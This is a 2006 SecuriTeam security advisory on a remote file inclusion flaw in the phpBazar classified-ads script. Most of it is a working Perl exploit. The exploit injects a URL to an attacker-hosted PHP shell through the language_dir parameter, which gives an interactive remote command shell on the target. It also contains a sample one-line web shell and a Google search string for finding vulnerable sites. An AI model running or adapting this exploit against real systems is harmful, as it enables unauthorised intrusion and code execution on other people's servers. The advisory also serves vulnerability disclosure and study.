[EXPL] phpBazar File Inclusion (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 24 May 2006 15:06:19 +0200
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phpBazar File Inclusion (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://www.smartisoft.com/> phpBazar is a PHP/mySQL Classified Ads &
Matchmaking."
Improper handling of user input allows attackers to upload arbitrary files
using phpBazar.
DETAILS
Vulnerable Systems:
* phpBazar version 2.1.0 and prior
Exploit:
#!/usr/bin/perl
##
# phpBazar <= 2.1.0 Remote File Inclusion Exploit
# by mescalin
# mescalin_ at msn.com | http://mescalin.100free.com
# Google Search=inurl:classified.php phpbazar
#
# usage:
#
# perl phpbazar-210.pl <target> <cmd shell location> <cmd shell variable>
#
# example: if host: http://sitebug.com/dir1/classified.php is vulnerable
then
# USE: phpbazar-210.pl http://sitebug.com/dir1/
http://www.site.com.br/shell.txt cmd
#
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);
##
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'classified_right.php?language_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ ]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or
No Return\n\n"}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[ ]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}
else {print "[shell] \$";}}}last;
sub head()
{
"\n============================================================================\r\n";
print " phpBazar <= 2.1.0 Remote File Inclusion Exploit |
24/05/06 \r\n";
"============================================================================\r\n";
print " > by mescalin \r\n";
print " > mescalin_ at msn.com - http://mescalin.100free.com
\r\n";
}
sub usage()
{
head();
print " \r\n";
print " Usage: perl phpbazar-210.pl <target> <cmd shell location> <cmd
shell variable>\r\n\n";
print " <target> - Full path to classified.php \r\n";
print " (ex: http://sitebug.com/dir1/classified.php ---->
http://sitebug.com/dir1/) \r\n";
print " \r\n";
print " <cmd shell> - Path to cmd Shell ex
http://mescalin.v10.com.br/shell.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print " \r\n";
exit();
}
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:mescalin_@xxxxxxx> mescalin
underground.
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